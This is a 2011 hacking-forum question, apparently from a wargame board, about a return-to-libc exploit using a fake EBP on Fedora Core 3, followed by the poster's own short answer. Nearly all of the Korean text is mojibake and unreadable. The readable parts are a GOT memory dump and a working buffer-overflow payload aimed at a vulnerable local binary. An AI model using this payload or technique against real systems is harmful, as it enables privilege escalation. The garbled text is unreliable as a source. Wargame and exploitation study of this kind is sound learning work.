½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   cropin
   Æäµµ¶ó3 ¿¡¼­ÀÇ RTL ±â¹ý °ü·Ã Áú¹®µå¸³´Ï´Ù.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1504 [º¹»ç]


Á¦°¡ ´ÙÀ½°ú °°ÀÌ GOT ¿µ¿ªÀ» ã¾Æ¼­

0x8049620 <_GLOBAL_OFFSET_TABLE_>:      0x08049554      0x00000000      0x00000000      0x080482ee
0x8049630 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e      0x00000000

´ÙÀ½°ú °°ÀÌ  fake ebp±â¹ýÀ¸·Î sfp¸¦ 0x8049618·Î ¼öÁ¤Çϰí
ÁÖ¼Ò°¡ 0x882723ÀÎ execl()ÇÔ¼ö + 3(ÇÁ·Ñ·Î±× Á¦°Å)¸¦ ½ÇÇàÇÏ°Ô ÇÏ¿´½À´Ï´Ù.
./vul `perl -e 'print "A"x40, "\x18\x96\x04\x08", "\x23\x27\x88\x00"'`

ÀÌ·¯¸é ½ÇÇàÀÌ Àß µË´Ï´Ù¸¸

ÀÌÇØ°¡ ¾È°¡´Â°Ô

ÇÁ·Ñ·Î±×¸¦ Á¦°ÅÇÑ execl() ÇÔ¼ö°¡ ½ÇÇàµÉ ¶§

´ÙÀ½°ú °°ÀÌ ½ºÅÃÀÌ µÉ²®´Ï´Ù.

³·ÀºÁÖ¼Ò  

[                                  ]
[     ¾µ¸ð¾ø´Â  data         ] < ebp°¡ °¡¸®Å°´Â °÷ 0x08049618
[     ¾µ¸ð¾ø´Â  data         ]
[ "\01"À» °¡¸®Å°´Â ÁÖ¼Ò  ] < execl ÇÔ¼öÀÇ Ã¹¹øÂ° ÀÎÀÚ
[        0x00000000         ] < execl ÇÔ¼öÀÇ µÎ¹øÂ° ÀÎÀÚ
[        0x00000000         ] < execl ÇÔ¼öÀÇ ¼¼¹ø¤Š ÀÎÀÚ

³ôÀºÁÖ¼Ò

ÀÌ°É º¸¸é execl("\x01", NULL, NULL);

À» ½ÇÇàÇÏ´Â°Å¶ó º¼ ¼ö Àִµ¥¿ä

±×·±µ¥ ¸·»ó ÀÎÀÚ¸¦ NULL·Î ³ÖÀ¸¸é ½ÇÇàÀÌ ¾ÈµÇ´Â °É·Î Á¦°¡ ¾Ë°í À־

Àú·¸°Ô ÇØ¼­ ½ÇÇàÀ» ÇØº¸¾Ò´õ´Ï ¿ª½Ã³ª ¾ÈµÇ´õ±º¿ä.

execl("~~", NULL); µµ ´ç¿¬È÷ ¾ÈµÇ±¸¿ä..

¹®¼­¸¦ º¸¸é 0x00ÀÌ ¾Æ´Ñ ¼ö·Î ä¿öÁø °ªµé¾î ³ª¿Í¼­ ÀÌÇØ¸¦ Çϰڴµ¥

Á¦ °æ¿ì¿£ 0x00ÀÌ ³ª¿À´Ï ½ÇÇàÀÌ ¾ÈµÇ¾ß ¸Â´Ù°í »ý°¢Çϴµ¥

Á¦°¡ ¹» À߸ø»ý°¢Çϰí Àִ°ǰ¡¿ä?

  Hit : 3176     Date : 2011/07/22 10:46



    
cropin ¾Æ ÀÚ¹®ÀÚ´äÇÏ³×¿ä ¤Ð
¸î¹øÇغ¸´Ï±î

/bin/sh ó·³ Àüü µð·ºÅ丮¸é ȯ°æº¯¼ö¸¦ ²À ³Ö¾îÁà¾ßÇÏÁö¸¸
ȯ°æº¯¼ö¿¡ ÀÖ´Â °÷ÀÇ ÇÁ·Î±×·¥(exe sh)³ª ÇöÀçÆú´õ¿¡ ÀÖ´Â°É ½ÇÇà½Ã۸é
ȯ°æº¯¼ö¸¦ ¾È³Ö¾îÁ൵ µÇ³×¿ä _-;;
2011/07/22